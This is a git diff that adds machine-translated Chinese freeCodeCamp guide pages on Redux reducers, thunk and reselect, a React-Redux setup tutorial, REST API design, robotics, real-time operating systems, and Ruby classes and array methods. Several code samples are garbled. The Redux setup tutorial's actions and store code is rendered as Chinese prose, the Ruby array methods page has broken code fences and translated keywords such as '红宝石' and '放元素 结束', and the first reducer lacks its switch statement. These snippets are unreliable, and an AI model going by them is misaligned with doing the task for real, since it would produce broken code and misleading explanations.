+上面的函数是纯粹的，因为无论发生什么，它都会返回9.一个函数在其中有一个调用jj或执行类似访问数据库的操作不是一个纯函数。即使我们改变意义变化，变量值也可以被认为不是纯函数。
+
+现在要更改状态，使用reducer。这是reducer的示例代码：
+
+```javascript
+ function todoReducer(state= [],action) { 
+  case 'ADD_TODO': 
+      return [...state,action.data] 
+  case  'DELETE_TODO': 
+      return state.filter(todo=>todo.id !== action.id) 
+  default: 
+      return state; 
+ } 
+```
+
+这个todoReducer正在做的是它接受当前状态和触发的动作然后返回一个新状态。这里我们使用es6默认参数语法为状态数组指定一个默认值。上述reducer的action对象可能如下所示：
+
+```javascript
+{ 
+ type: 'ADD_TODO', 
+ data: {name: 'Learn Redux',completed:false} 
+ } 
+```
+
+这里的动作具有带有数据对象的类型属性“ADD\_TODO”。现在，当触发此操作时，它由reducer接收，然后根据switch语句，它将返回一个新数组，其中包含现有数据和新数据。
+
+总而言之，减速器只不过是为您的应用程序返回新状态的纯函数。
+
+#### 更多信息：
+
+[Redux-Reducers官方文档](https://redux.js.org/basics/reducers)
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-sagas/index.md b/client/src/guide/chinese/redux/redux-sagas/index.md
new file mode 100644
index 0000000000..4f8cc3efc5
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-sagas/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Sagas
+localeTitle: Redux Sagas
+---
+## Redux Sagas
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-sagas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-selectors/index.md b/client/src/guide/chinese/redux/redux-selectors/index.md
new file mode 100644
index 0000000000..932064acee
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-selectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Selectors
+localeTitle: Redux选择器
+---
+## Redux选择器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-selectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-thunk/index.md b/client/src/guide/chinese/redux/redux-thunk/index.md
new file mode 100644
index 0000000000..763c9b0348
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-thunk/index.md
@@ -0,0 +1,74 @@
+---
+title: Redux Thunk
+localeTitle: Redux Thunk
+---
+## Redux Thunk
+
+Redux Thunk是一个中间件，允许您在Redux 1中返回函数，而不仅仅是动作。这允许延迟的行动，包括使用承诺。
+
+我们使用这个中间件的原因是因为并非所有我们执行的操作都是同步的，而某些操作必然是非同步的，比如使用axios发送get请求。这将需要一些时间，简单的redux不会考虑到这种行为。因此，Redux-thunk通过允许我们异步调度动作来解决问题，这样我们就可以让这些承诺得到解决。
+
+例1：
+
+```javascript
+const INCREMENT_COUNTER = 'INCREMENT_COUNTER'; 
+ 
+ function increment() { 
+  return { 
+    type: INCREMENT_COUNTER 
+  }; 
+ } 
+ 
+ function incrementAsync() { 
+  return dispatch => { 
+    setTimeout(() => { 
+      // Yay! Can invoke sync or async actions with `dispatch` 
+      dispatch(increment()); 
+    }, 1000); 
+  }; 
+ } 
+```
+
+例2：
+
+```javascript
+const GET_CURRENT_USER = 'GET_CURRENT_USER'; 
+ const GET_CURRENT_USER_SUCCESS = 'GET_CURRENT_USER_SUCCESS'; 
+ const GET_CURRENT_USER_FAILURE = 'GET_CURRENT_USER_FAILURE'; 
+ 
+ const getUser = () => { 
+  return (dispatch) => {     //nameless functions 
+    // Initial action dispatched 
+    dispatch({ type: GET_CURRENT_USER }); 
+    // Return promise with success and failure actions 
+    return axios.get('/api/auth/user').then( 
+      user => dispatch({ type: GET_CURRENT_USER_SUCCESS, user }), 
+      err => dispatch({ type: GET_CURRENT_USER_FAILURE, err }) 
+    ); 
+  }; 
+ }; 
+```
+
+### 安装和设置
+
+可以使用命令行使用`npm install redux-thunk --save`或`yarn add redux-thunk`安装Redux Thunk。因为它是Redux工具，所以您还需要设置Redux。安装后，使用`applyMiddleware()`启用它：
+
+```javascript
+import { createStore, applyMiddleware } from 'redux'; 
+ import thunk from 'redux-thunk'; 
+ import rootReducer from './reducers/index'; 
+ 
+ const store = createStore( 
+  rootReducer, 
+  applyMiddleware(thunk) 
+ ); 
+```
+
+### 参考
+
+*   [Redux Thunk Github Repo](https://github.com/reduxjs/redux-thunk)
+*   [Redux中间件](https://redux.js.org/advanced/middleware)
+
+### 来源
+
+1.  [增量计数器示例引自Redux Thunk Documentation，10/02/201](#https://github.com/reduxjs/redux-thunk)
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/reselect/index.md b/client/src/guide/chinese/redux/reselect/index.md
new file mode 100644
index 0000000000..f3b34c012b
--- /dev/null
+++ b/client/src/guide/chinese/redux/reselect/index.md
@@ -0,0 +1,18 @@
+---
+title: Reselect
+localeTitle: 重新选择
+---
+## 重新选择
+
+Reselect是Redux的简单选择器库。 为什么我们需要选择器？官方文档用这种方式描述：
+
+*   选择器可以计算派生数据，允许Redux存储最小可能状态。
+*   选择器是有效的。除非其参数之一发生更改，否则不会重新计算选择器。
+*   选择器是可组合的。它们可以用作其他选择器的输入。
+
+这可能听起来很复杂但是选民通过减少不必要的重新渲染来让应用程序更快地工作。通常，每次在`store`中进行任何更改时都会调用`mapStateToProps` 。 `mapStateToProps`将商店值绑定到反应。在使用`PureComponents`它可能导致组件被重新渲染，尽管它不是必需的。
+
+#### 更多信息：
+
+*   [重新选择](https://github.com/reduxjs/reselect)
+*   [React，Reselect和Redux](https://medium.com/@parkerdan/react-reselect-and-redux-b34017f8194c)
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/tutorial/index.md b/client/src/guide/chinese/redux/tutorial/index.md
new file mode 100644
index 0000000000..f05cf1ac64
--- /dev/null
+++ b/client/src/guide/chinese/redux/tutorial/index.md
@@ -0,0 +1,280 @@
+---
+title: React Redux Basic Setup
+localeTitle: React Redux Basic Setup
+---
## React Redux Basic Setup
+
+在本指南中，将向读者介绍如何设置简单的React和Redux应用程序。
+
+它基于[Node.js](https://nodejs.org/)应用程序已经创建并使用[Express](https://expressjs.com/)和[Webpack](https://webpack.github.io/)运行的[原理](https://webpack.github.io/) 。
+
+## 安装
+
+假设所有设置都正常并且正常工作，则需要添加一些软件包才能使Redux与React一起工作。
+
+在已创建的项目文件夹中打开一个终端并发出以下命令
+
+```sh
+npm install --save react react react-dom react-redux react-router redux 
+```
+
+上面的命令是在本地安装软件包，并在依赖项下添加对package.json文件的引用。
+
+还可以在您的浏览器中添加以下工具[Redux Dev Tools](https://github.com/zalmoxisus/redux-devtools-extension) 。
+
+这将允许开发人员查看应用程序的状态及其更改以及正在触发的操作。
+
+## 文件夹结构
+
+在安装了所有依赖项之后，强烈建议在应用程序内部创建一个文件夹结构，类似于更好的代码可维护性和组织。
+```
+project_root 
+ │   index.js 
+ | 
+ └───client 
+ |   App.jsx 
+ |   NotFound.jsx 
+ | 
+ └───common 
+    │ 
+    └───actions 
+    |   │  appActions.js 
+    | 
+    └───constants 
+    |   │  Actiontypes.js 
+    | 
+    └───reducers 
+    |   │   appReducer.js 
+    └───store 
+        │   store.js 
+```
+
+## 应用程序组件的描述以及它们与自己和redux的交互方式
+
+## 应用程序入口点实现
+
+*   /project\_root/index.js
+    *   应用程序的入口点是否包含商店的入口点，它将呈现App.jsx文件。
+
+Bellow是将在文件上声明的代码示例
+
+```javascript
+import React from 'react'; 
+ import {render} from 'react-dom'; 
+ import {Router,Route,browserHistory} from 'react-router'; 
+ import {Provider} from "react-redux"; 
+ import store from "../common/store/store"; 
+ import App from '../client/App'; 
+ import NotFound from '../client/notFound'; 
+ 
+ render( 
+    <Provider store={store}> 
+        <Router history={browserHistory}> 
+            <Route path="/" component={App} /> 
+            <Route path="*" component={NotFound}/> 
+        </Router> 
+    </Provider>, 
+    document.getElementById('root') 
+ ); 
+```
+
+在此示例中，通常的反应导入将添加到文件中，但也会添加一些新的反应，例如Router，Route，browserHistory。
+
+如果需要应用程序，这些负责处理路由。
+
+以及添加应用程序商店并允许其在应用程序中工作的位置。
+
+## 应用程序组件实现
+
+以下文件：
+
+*   /client/App.jsx
+*   此文件是基线应用程序文件，react和redux之间将相互通信。
+
+```javascript
+import React, { Component } from 'react'; 
+ import {connect} from 'react-redux'; 
+ import PropTypes from 'prop-types'; 
+ import {ActionA,ActionB,ActionC} from '../common/actions/appActions'; 
+ class App extends Component{ 
+ 
+    // example of triggering the action inside a component 
+    foo=()=>{ 
+        this.props.doStringMessage(`Hello World`); 
+    } 
+    //default render function of the component 
+    render(){ 
+        return( 
+            // the base component 
+        ); 
+    } 
+ } 
+ /** 
+ * es6 fat arrow function to get information from the application state 
+ * @param {*} state current state of the application 
+ */ 
+ const mapStateToProps=state=>{ 
+    return { 
+        ArrayValue:state.example.exapleArray, 
+        StringMessage:state.example.exampleString, 
+        bookApploggedIn:state.example.exampleBool, 
+        ObjectValue:state.example.exampleObject 
+    }; 
+ }; 
+ /** 
+ * es6 fat arrow function to connect the actions declared in the action file to the the component as if they were common react props 
+ * @param {*} dispatch function send to action file to be later processed in the reducer 
+ */ 
+ const mapDispatchToProps=dispatch=>{ 
+    return { 
+        doStringMessage:(value)=>{ 
+            dispatch(ActionA(value)); 
+        }, 
+        getArrayItems:()=>{ 
+            dispatch(ActionB()); 
+        }, 
+        doBooleanChange:(value)=>{ 
+            dispatch(ActionC(value)); 
+        } 
+    }; 
+ }; 
+ /** 
+ * this function connects the application component to be possible to interact with the store 
+ * @param {*} mapStateToProps allows the retrieval of information from the state of the application 
+ * @param {*} mapDispatchToProps allows the state to change via the actions defined inside 
+ */ 
+ export default connect(mapStateToProps,mapDispatchToProps)(App); 
+```
+
+上面的示例演示了如何设置基本App组件以及它如何与redux架构交互。
+
+另外，如何从组件中调度已定义的操作，该操作将传递给存储并在应用程序reducer上进行更改。
+
+## 申请行动声明
+
+以下文件：
+
+*   /common/actions/appActions.js
+    
+*   此文件是定义的每个操作将与应用程序状态和reducer进行交互的位置。
+    
+*   此外，应用程序所需的任何外部api调用都应在此处进行，然后通过操作调用传递给reducer。
+    
+    \`\`\`的JavaScript import { APP _动作_ A， APP _动作_ B， APP _动作_ C. 来自'../constants/Actiontypes'; / \*\*
+    
+*   es6常量与reducer通信以执行给定的操作
+    
+*   @param {Object}指定要在reducer中设置的对象或任何其他类型 **/ export const doActionA = value =>（{ 类型：APP _动作_ A， 值 }）; /**
+    
+*   es6常量与reducer通信以执行给定的操作
+    
+*   @param {Object}要在reducer中设置的对象或任何其他类型 **/ export const doActionB = value =>（{ 类型：APP _动作_ B， 值 }）; /**
+    
+*   es6常量与reducer通信以执行给定的操作
+    
+*   @param {Object}要在reducer中设置的对象或任何其他类型 **/ export const doActionC = value =>（{ 类型：APP _ACTION_ C， 值 }）; /**
+    
+*   es6常量将被组件知道，以便组件和状态之间可以进行交互
+    
+*   @param {Object}指定要在reducer中设置的对象或任何其他类型 **/ export const ActionA = value => dispatch => { 调度（doActionB（值））; }; /**
+    
+*   es6常量将被组件知道，以便组件和状态之间可以进行交互 \*\* / export const ActionB =（）=> dispatch => { 讯（doActionB（真））; }; `In the example code provided above, the item` ActionB\`\`\`将可用于App.jsx组件，当组件通过prop触发它时，它将触发此文件中的相应操作，然后到reducer并更改相应地说。
+    
+
+## 动作类型实现
+
+以下文件：
+
+*   /common/constants/Actiontypes.js
+*   此文件将包含应用程序可以使用的每种操作类型的声明。
+*   这里完成的声明必须提供给actions文件，以便在应用程序中处理它们。
+
+```javascript
+export const APP_ACTION_A='MAKE_A'; 
+ export const APP_ACTION_B='MAKE_B'; 
+ export const APP_ACTION_C='MAKE_C'; 
+```
+
+在上面的示例中，声明并导出了三种操作类型，以便可以使用它们。
+
+## 减速机实施
+
+以下文件：
+
+*   /common/reducers/appReducer.js
+    *   reducer本质上只不过是一个javascript纯函数，它将检查是否有任何条件满足触发的操作并对状态进行更改，从不改变它。
+
+```javascript
+ import { 
+    APP_ACTION_A, 
+    APP_ACTION_B, 
+    APP_ACTION_C 
+ } from '../constants/Actiontypes'; 
+ 
+ /** 
+ * es6 example of a declaration of the reducer 
+ * @param {Object} state contains all the application's state properties needed 
+ * @param {action} action the action that will trigger the state's changes 
+ **/ 
+ const ExampleAppReducer= (state = { 
+    exampleBool:false, // boolean value 
+    exampleString:'', // string value 
+    exampleArray: [], // array value 
+    onError:{ 
+        A:'', 
+        B:'', 
+        C:'' 
+    } // object with properties inside 
+ }, action) => { 
+    //switch statement that will test every case and make the necessary changes, never mutating the state as it's being preserved always 
+    switch(action.type){ 
+        case APP_ACTION_A:{ 
+            return { 
+                ...state, // es6 epread operator to make a copy of the existing state object 
+                exampleBool:action.value // the state property changes accordingly to the value of the action triggered 
+            }; 
+        } 
+        case APP_ACTION_B:{ 
+            return { 
+                ...state, 
+                exampleString:action.value 
+            }; 
+        }, 
+        case APP_ACTION_C:{ 
+            return { 
+                ...state, 
+                exampleArray:action.value 
+            }; 
+        } 
+        default:{ 
+            return state; // if any of the actions triggered is not defined here it will return the default state 
+        } 
+    } 
+ }; 
+ export default ExampleAppReducer; 
+```
+
+上面的代码说明了如何定义基本的reducer并通过测试某个条件来改变状态。
+
+## 商店实施
+
+文件：
+
+*   /common/store/store.js
+*   该文件将包含应用程序状态树的定义，为了更改内部状态，需要将actin调度到此处。
+*   它只不过是一个内部声明方法的对象，最重要的是创建商店的对象
+
+\`\`\`的JavaScript 从'redux'导入{createStore}; 从'../reducers/ExampleAppReducer'导入示例;
+
+export defaultStoreStore（ 例 ）; \`\`\` 上面的代码演示了如何定义一个简单的应用程序商店。
+
+这是reducer的基本设置，它可以进一步扩展，例如包含多个存储，并且还添加了一些中间件。
+
+## 进一步阅读
+
+因为本指南仅仅是对react和redux如何协同工作以及如何实现架构的介绍。 本指南的读者强烈建议您阅读下面的链接以阅读并克隆回购并尝试使用它们。
+
+[Redux Docs](http://redux.js.org/)
+
+[Redux Api](http://redux.js.org/docs/api/)
+
+[Redux示例](https://github.com/reactjs/redux/tree/master/examples)
\ No newline at end of file
diff --git a/client/src/guide/chinese/rest-api/index.md b/client/src/guide/chinese/rest-api/index.md
new file mode 100644
index 0000000000..c49b9eee9d
--- /dev/null
+++ b/client/src/guide/chinese/rest-api/index.md
@@ -0,0 +1,106 @@
+---
+title: Rest API Design
+localeTitle: Rest API设计
+---
### 历史
+
+REST代表**Re** presentational **S** tate **T** ransfer协议。 Roy Fielding在2000年的博士论文中定义了REST。
+
+### 它是什么？
+
+开发REST是为了提供统一的界面
+
+*   识别资源
+*   操纵资源
+*   自描述信息
+*   使用超媒体作为应用程序状态引擎（HATEOS）
+
+### 最佳实践
+
+*   ＃＃＃＃ 基本
+
+|方法| http://api.co/v2/cars | http://api.co/v2/cars/1234 |  
+| --- | --- | --- | | GET |列出所有的汽车|检索单个汽车| | POST |制造新车|错误| | PUT |用新的替换汽车收藏|更换id为1234 |的汽车 |删除|删除所有汽车|删除ID为1234 |的汽车
+
+_注意，当客户端或服务器的PUT操作可以生成id_
+
+*   #### 名词很好动词很糟糕
+    
+*   使用名词来引用`cars` ， `fruits`等资源。
+    
+*   使用动词声明动作声明`convertMilesToKms` ， `getNutritionalValues`
+    
+*   #### 单数还是复数？
+    
+    使用正确的语法进行声明
+    
+    **避免** `/person/145`
+    
+    **首选** `/people/154`假设从人名单中返回第154个人
+    
+*   #### 使用套管
+    
+    使用以下任何一种模式并保持**一致！**
+    
+    |案例样式|示例| | ------------- | ------------- | | **UpperCamelCase** | `http://api.fintech.cp/DailyTransactions/Today` | | **lowerCamelCase** | `http://api.fintech.cp/dailyTransactions/today` |  
+    | **snake\_case** | `http://api.fintech.cp/daily_transactions/today` |
+    
+*   #### **关系和资源**
+    
+*   资源可以具有`one-to-many` ， `many-to-many` ， `many-to-one`关系等。正确映射它们至关重要。
+    
+*   **一对多**映射
+    
+    例如， `Tickets/145/messages/4`表明`tickets`和`messages`之间的一对多关系。含义`1`票有`N`消息。消息不是独立资源。你不能拥有`/messages/4` 。
+    
+*   **多对多**映射
+    
+    例如， `/usergroups/345/users/56`建议选择第345个用户组并获取id为56的用户。但是，一个用户可能在多个`usergroups`即`/usergroups/209/users/56`也有效。在这种情况下，将depedant资源`users`分成一个单独的端点，如`/users/56`并在`/usergroups/209/users/56`提供资源链接
+    
+*   #### **API参数**
+    
+*   **PATH：** _需要_访问资源如`/cars` ， `/fruits`
+    
+*   **查询参数** ： _可选_过滤列表Eg `/cars?type=SUV&year=2010`
+    
+*   **正文** ：资源特定逻辑。高级搜索查询。有时它可能同时具有Query和body。
+    
+*   **标题** ：应包含全局或平台范围的数据。例如API密钥参数，用于auth的加密密钥，设备类型信息，例如移动或桌面或端点，设备数据类型，例如xml或json。使用标头来传达这些参数
+    
+*   #### HTTP状态代码
+    
+    使用正确的状态代码
+    
+    |代码|意义| | ------------- |：-------------：| | 1xx |收到并理解请求。 | | 2xx |收到，理解并要求客户要求采取的行动。 | | 3xx |客户必须采取其他措施来完成请求。大多数这些状态代码用于URL重定向。 | | 4xx |适用于似乎错误是由客户端引起的情况。 | | 5xx |服务器无法满足请求。 |
+    
+    关于**2xx的**更多信息！
+    
+*   **201资源创建。** POST `/cars`应返回使用`location`标头创建的HTTP 201，说明如何访问资源 例如`location` ：头文件中的`api.com/cars/124`
+    
+*   **202 - 接受**
+    
+    如果任务很大，请使用此选项。告诉客户，它已接受请求并将/正在处理/处理 没有返回有效负载
+    
+*   **204 - 没有内容**
+    
+    删除`DELETE cars/124` 不返回任何内容。但是如果API打算发送已删除的资源以供进一步处理，也可以返回`200 OK` 。
+    
+    危险的**5xx**资源！
+    
+*   **500**内部服务器错误
+    
+*   **504**网关超时。服务器未及时收到响应
+    
+    鲜为人知的**4xx**表明您传递了错误的参数。也可以传递错误的信息。例如
+    
+    `DELETE /cars/MH09234`
+    
+    返回`4xx`或消息 `Expecting int car id /car/id got string car/MH09234`
+    
+
+### **进一步阅读**
+
+[如何设计优秀的API - 2013年解析开发者日](https://www.youtube.com/watch?v=qCdpTji8nxo)
+
+[Guillaume Laforge永无止境的REST API设计辩论](https://www.youtube.com/watch?v=48azd2VqtP0)
+
+[HTTP状态代码](https://httpstatuses.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/robotics/index.md b/client/src/guide/chinese/robotics/index.md
new file mode 100644
index 0000000000..048a03b147
--- /dev/null
+++ b/client/src/guide/chinese/robotics/index.md
@@ -0,0 +1,37 @@
+---
+title: Robotics
+localeTitle: 机器人
+---
+## 机器人
+
+机器人技术是关于组成机器人的系统。没有普遍适用的机器人定义。一个普遍接受的定义是： _机器人是一种遵循感觉，思考，行动范式的可编程物理机器_ 。更具体地说，机器人需要感知其环境，使用该信息作为输入来做出决定，然后相应地采取行动。这种范式中的每个系统本身通常都是一项研究。有各种各样的机器人类型和组件系统。每个机器人通常专注于一组具有明确目标的过程。
+
+### 感
+
+机器人必须感知其环境。为此，它使用不同类型的传感器。 _传感器_可以定义为将物理参数转换为（通常）电信号的输入设备。智能手机中的摄像头是一种传感器，它们将光转换为电子信息。数字温度计是一种将热量（温度）转换为电信号的传感器，可以在屏幕上显示为摄氏温度值。传感器输出的准确性总是存在限制，因此通常会进一步处理传感器的输出以补偿误差。
+
+### 认为
+
+机器人必须根据从环境接收的输入及其编程方式做出决策。自主功能是可由机器人在没有任何人为输入的情况下执行的功能。机器人通常具有自主功能和受控功能（现在全自动机器人越来越普遍）。它们具有机载计算机，便于机器人决策过程所需的计算。例如，商业消费者[四轴飞行器](https://en.wikipedia.org/wiki/Quadcopter)提供了一种功能，其中可以要求直升机跟随移动物体。它使用来自摄像机的输入，执行[图像处理](https://en.wikipedia.org/wiki/Digital_image_processing)以将对象与环境区分开，并使用[受控系统](https://en.wikipedia.org/wiki/Control_system)跟踪对象。所有这一切都是在没有任何人为输入的情况下完成的（即在编程直升机之后）。
+
+### 法案
+
+一旦机器人做出决定，它就需要采取相应的行动。为此，它使用执行器。 _致动器_是将能量转换为运动的装置。可以根据所需的输入能量类型对执行器进行分类。两种最常见的致动器类型是电动的（其使用电能来产生运动）和气动的（其使用气压来产生运动）。例如，马达是将电能转换为旋转运动的致动器。致动器的精度和控制程度总是存在限制，因此使用[控制系统](https://en.wikipedia.org/wiki/Control_system)来补偿这些限制。
+
+## 机器人技术的基本要素。
+
+首先，你需要对机器人技术中的ace有很大的耐心。
+
+1）善于使用任何一种编程语言来掌握代码。 2）学习RaspberryPi或Arduino以正确理解电子和逻辑。 现在，RaspberryPi和Arduino的区别在于： RaspberryPi是一个SBC（单板计算机），而Arduino只是一个微控制器。 所以上述内容之间的区别非常重要。 3）反向运动学对于设计部分非常重要。 这是学习[逆运动学](https://www.intechopen.com/books/industrial_robotics_theory_modelling_and_control/robot_kinematics__forward_and_inverse_kinematics)的好资源。
+
+总而言之，这些资源足以让您开始使用Robotics开始您的旅程！
+
+### 更多信息：
+
+[机器人（Wikipedia.org）](https://en.wikipedia.org/wiki/Robot)
+
+[机器人技术（Wikipedia.org）](https://en.wikipedia.org/wiki/Robotics)
+
+[传感器（electronicshub.org）](https://www.electronicshub.org/different-types-sensors/)
+
+[执行器（Wikipedia.org）](https://en.wikipedia.org/wiki/Actuator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/rt-os/index.md b/client/src/guide/chinese/rt-os/index.md
new file mode 100644
index 0000000000..7cc94d5f8b
--- /dev/null
+++ b/client/src/guide/chinese/rt-os/index.md
@@ -0,0 +1,15 @@
+---
+title: Real-Time operating systems
+localeTitle: 实时操作系统
+---
+## 实时操作系统
+
+实时操作系统（RTOS）旨在处理输入而不进行缓冲。 缓冲是将输入延迟作为资源管理系统的一部分的过程。 Linux和BSD操作系统不是为RTOS设计或配置的。
+
+### 开源RTOS
+
+[多处理器系统的实时执行程序（RTEMS）（@ Wikipedia.org）](https://en.wikipedia.org/wiki/RTEMS)
+
+### 更多信息：
+
+[实时操作系统的比较（@ Wikipedia.org）](https://en.wikipedia.org/wiki/Comparison_of_real-time_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/classes-and-objects/index.md b/client/src/guide/chinese/ruby/classes-and-objects/index.md
new file mode 100644
index 0000000000..e3c0ae113f
--- /dev/null
+++ b/client/src/guide/chinese/ruby/classes-and-objects/index.md
@@ -0,0 +1,109 @@
+---
+title: Classes and Objects
+localeTitle: 类和对象
+---
+## 类和对象
+
+### Ruby中的对象
+
+让我们快速浏览一下Ruby对象。在现实世界中，物体可以是任何东西，包括汽车，计算机，甚至是人。这些对象中的每一个都具有状态和行为。
+
+考虑到汽车，它的状态可以被描述为它的模型，品牌和颜色。汽车的行为可能是转弯，鸣喇叭或刹车。
+
+Ruby中的对象具有非常相似的特征。 Ruby对象也有状态和行为。在Ruby Objects中，状态存储在实例变量中，行为存储在函数中。
+
+### Ruby中的类
+
+一个类基本上是一个程序模板。此模板使用`instance variables`定义初始`properties` 。同样，还有以函数形式定义的`behaviors` 。
+
+使用类的`initialize`方法创建类的新实例。
+
+以下面的示例代码为例：
+
+```Ruby
+class Car 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+```
+
+如您所见，类是使用`class`关键字定义的，而类代码块以`end` keywork `end` 。 `.initialize`函数是构造函数。当我们创建这个对象时，我们使用传递给构造函数的值来定义属性`@make` ， `@model`和`@color` 。
+
+### 创建类的实例
+
+现在，要创建此类的实例，您只需要调用`.new`函数。
+
+```Ruby
+mazda3 = Car.new('Mazda', 'Mazda3', 'White') 
+```
+
+这很棒，但有时您可能需要更改其中一些属性！此示例中的大多数属性都是静态的。尽管如此，想象一下你决定换一个新的油漆工作。你将如何更新`Car`对象的这个实例的状态？
+
+### 修改实例状态
+
+值得庆幸的是，更新对象的状态相当简单。首先，我们需要一个`setter`方法！ Ruby将**getter**和**setter**设置分别定义为`attr_reader`和`attr_accessor` 。对于给定属性的getter和setter设置，您也可以使用`attr_accessor` 。
+
+为了演示这一点，我使用这些新定义的设置修改了以前的Car对象。
+
+```Ruby
+class Car 
+    attr_accessor :color 
+    attr_reader :make, :model 
+ 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+```
+
+所以现在我们可以改变状态并读取对象的状态。
+
+```Ruby
+irb(main):023:0> c = Car.new('Mazda', 'Mazda3', 'White') 
+ => #<Car:0x00007fd3ca13fdd0 @make="Mazda", @model="Mazda3", @color="White", @speed=nil> 
+ irb(main):024:0> c.color 
+ => "White" 
+ irb(main):025:0> c.make 
+ => "Mazda" 
+ irb(main):026:0> c.model 
+ => "Mazda3" 
+ irb(main):027:0> c.color = 'Brutal Blue' 
+ => "Brutal Blue" 
+ irb(main):028:0> c.make = 'Prius' 
+ Traceback (most recent call last): 
+        2: from /usr/local/bin/irb:11:in `<main>' 
+        1: from (irb):28 
+ NoMethodError (undefined method `make=' for #<Car:0x00007fd3ca13fdd0>) 
+ Did you mean?  make 
+```
+
+查看`irb`的上一个输出，您可以看到每个实例变量都是可读的。我们可以写`@color` ，但是当我们尝试写`@make`时，我们最终会导致`NoMethodError`异常。这是因为`@make`仅使用`attr_reader`定义，因此未定义`make=` 。
+
+### 资源
+
+*   [Ruby编程/语法/类](https://en.wikibooks.org/wiki/Ruby_Programming/Syntax/Classes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/common-array-methods/index.md b/client/src/guide/chinese/ruby/common-array-methods/index.md
new file mode 100644
index 0000000000..e7b4cb09b1
--- /dev/null
+++ b/client/src/guide/chinese/ruby/common-array-methods/index.md
@@ -0,0 +1,144 @@
+---
+title: Common Array Methods
+localeTitle: 常用数组方法
+---
+## 常用数组方法
+
+Ruby Arrays构成了Ruby编程的核心基础，实际上是大多数语言。它被广泛使用，以便了解甚至记住一些最常用的数组方法是有益的。如果您想了解有关Ruby Arrays的更多信息，我们有[一篇关于它们的文章](https://guide.freecodecamp.org/ruby/ruby-arrays) 。
+
+出于本指南的目的，我们的数组将如下：
+
+“红宝石 array = \[0,1,2,3,4\]
+```
+#### .length 
+ The .length method tallies the number of elements in your array and returns the count: 
+```
+
+红宝石 array.length => 5
+```
+#### .first 
+ The .first method accesses the first element of the array, the element at index 0: 
+```
+
+红宝石 array.first => 0
+```
+#### .last 
+ The .last method accesses the last element of the array: 
+```
+
+红宝石 array.last => 4
+```
+#### .take 
+ The .take method returns the first n elements of the array: 
+```
+
+红宝石 array.take（3） => \[0,1,2\]
+```
+#### .drop 
+ The .drop method returns the elements after n elements of the array: 
+```
+
+红宝石 array.drop（3） => \[3,4\]
+```
+#### array index 
+ You can access a specific element in an array by accessing its index. If the index does not exist in the array, nil will be returned: 
+```
+
+红宝石 阵列\[2\] => 2
+
+阵列\[5\] =>无
+```
+#### .pop 
+ The .pop method will permantently remove the last element of an array: 
+```
+
+红宝石 array.pop => \[0,1,2,3\]
+```
+#### .shift 
+ The .shift method will permantently remove the first element of an array and return this element: 
+```
+
+红宝石 array.shift => 0  
+排列 => \[1,2,3,4\]
+```
+#### .push 
+ The .push method will allow you to add an element to the end of an array: 
+```
+
+红宝石 的Array.push（99） => \[0,1,2,3,4,99\]
+```
+#### .unshift 
+ The .unshift method will allow you to add an element to the beginning of an array: 
+```
+
+array = \[2,3\] array.unshift（1） => \[1,2,3\]
+```
+#### .delete 
+ The .delete method removes a specified element from an array permanently: 
+```
+
+红宝石 array.delete（1） => \[0,2,3,4\]
+```
+#### .delete_at 
+ The .delete_at method allows you to permanently remove an element of an array at a specified index: 
+```
+
+红宝石 array.delete\_at（0） => \[1,2,3,4\]
+```
+#### .reverse 
+ The .reverse method reverses the array but does not mutate it (the original array stays as is): 
+```
+
+红宝石 array.reverse => \[4,3,2,1,0\]
+```
+#### .select 
+ The .select method iterates over an array and returns a new array that includes any items that return true to the expression provided. 
+```
+
+红宝石 array = \[1,2,3,4,5,6,7,8,9,10\] array.select {| number |数> 4} => \[5,6,7,8,9,10\] 排列 => \[5,6,7,8,9,10\]
+```
+#### .include? 
+ The include? method checks to see if the argument given is included in the array: 
+```
+
+红宝石 array = \[1,2,3,4,5\] => \[1,2,3,4,5\] array.include？（3） =>是的
+
+#### .flatten
+
+flatten方法可用于获取包含嵌套数组的数组并创建一维数组：
+
+“红宝石 array = \[1,2，\[3,4,5\]，\[6,7\]\] array.flatten => \[1,2,3,4,5,6,7\]
+```
+#### .join 
+ The .join method returns a string of all the elements of the array separated by a separator parameter. If the separator parameter is nil, the method uses an empty string as a separator between strings. 
+```
+
+红宝石 array.join >>“1234” array.join（“ _”） >> 1_ 2 _3_ 4“
+```
+#### .each 
+ The .each method iterates over each element of the array, allowing you to perform actions on them. 
+```
+
+红宝石 array.each do | element | 放元素 结束 => 0 1 2 3 4
+```
+#### .map 
+ The .map method is the same as the .collect method. The .map and .collect methods iterate over each element of the array, allowing you to perform actions on them. The .map and .collect methods differ from the .each method in that they return an array containing the transformed elements. 
+```
+
+红宝石 array.map {| element |元素\* 2} 放元素 结束 => 0 2 4 6 8
+```
+#### .uniq 
+ The .uniq method takes in an array containing duplicate elements, and returns a copy of the array containing only unique elements--any duplicate elements are removed from the array. 
+```
+
